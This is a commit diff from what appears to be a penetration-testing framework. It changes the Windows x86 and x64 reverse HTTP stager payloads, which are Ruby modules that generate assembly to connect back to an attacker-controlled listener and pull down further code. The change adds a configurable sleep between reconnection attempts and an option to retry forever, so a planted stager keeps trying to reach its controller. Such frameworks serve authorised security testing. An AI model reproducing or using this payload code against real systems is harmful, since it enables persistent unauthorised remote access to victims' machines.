Functionality was added to allow the payload to wait before trying to reconnect.

Also the code was modified to allow the payload to infinite retry if 0 is set.
bug/bundler_fix
alpiste 2017-03-04 18:12:09 -03:00
parent f02c323c7e
commit 09442f226a
2 changed files with 65 additions and 17 deletions

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@ -47,7 +48,8 @@ module Payload::Windows::ReverseHttp
ssl: opts[:ssl] || false,
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# Add extra options if we have enough space
@ -153,10 +155,12 @@ module Payload::Windows::ReverseHttp
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
@ -315,15 +319,21 @@ module Payload::Windows::ReverseHttp
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
^
if retry_count > 0
asm << %Q^
; Store our retry counter in the edi register
set_retry:
push #{retry_count}
pop edi
^
end
asm << %Q^
send_request:
^
if opts[:ssl]
asm << %Q^
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@ -350,13 +360,33 @@ module Payload::Windows::ReverseHttp
call ebp
test eax,eax
jnz allocate_memory
^
try_it_again:
dec edi
jnz send_request
if retry_wait
asm << %Q^
set_wait:
push #{retry_wait} ; dwMilliseconds
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
call ebp ; Sleep( dwMilliseconds );
^
end
; if we didn't allocate before running out of retries, bail out
^
if retry_count > 0
asm << %Q^
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, bail out
^
else
asm << %Q^
try_it_again:
jmp send_request
; retry forever
^
end
if opts[:exitfunk]
asm << %Q^

View File

@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64
super
register_advanced_options([
OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]),
OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]),
OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts']),
OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']),
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
@ -52,7 +53,8 @@ module Payload::Windows::ReverseHttp_x64
ssl: opts[:ssl] || false,
host: ds['LHOST'],
port: ds['LPORT'],
retry_count: ds['StagerRetryCount']
retry_count: ds['StagerRetryCount'],
retry_wait: ds['StagerRetryWait']
}
# add extended options if we do have enough space
@ -152,10 +154,12 @@ module Payload::Windows::ReverseHttp_x64
# @option opts [String] :proxy_user The optional proxy server username
# @option opts [String] :proxy_pass The optional proxy server password
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
#
def asm_reverse_http(opts={})
retry_count = [opts[:retry_count].to_i, 1].max
retry_count = opts[:retry_count].to_i
retry_wait = opts[:retry_wait] ? (opts[:retry_wait].to_i * 1000) : nil
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
proxy_info = ""
@ -320,15 +324,19 @@ module Payload::Windows::ReverseHttp_x64
mov rsi, rax
^
if retry_count > 1
if retry_count > 0
asm << %Q^
push #{retry_count}
pop rdi
retryrequest:
^
end
asm << %Q^
retryrequest:
^
if opts[:ssl]
asm << %Q^
internetsetoption:
@ -360,7 +368,16 @@ module Payload::Windows::ReverseHttp_x64
jnz allocate_memory
^
if retry_count > 1
if retry_wait
asm << %Q^
set_wait:
mov rcx, #{retry_wait} ; dwMilliseconds
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
call rbp ; Sleep( dwMilliseconds );
^
end
if retry_count > 0
asm << %Q^
try_it_again:
dec rdi
@ -369,7 +386,8 @@ module Payload::Windows::ReverseHttp_x64
^
else
asm << %Q^
jmp failure
jmp retryrequest
; retry forever
^
end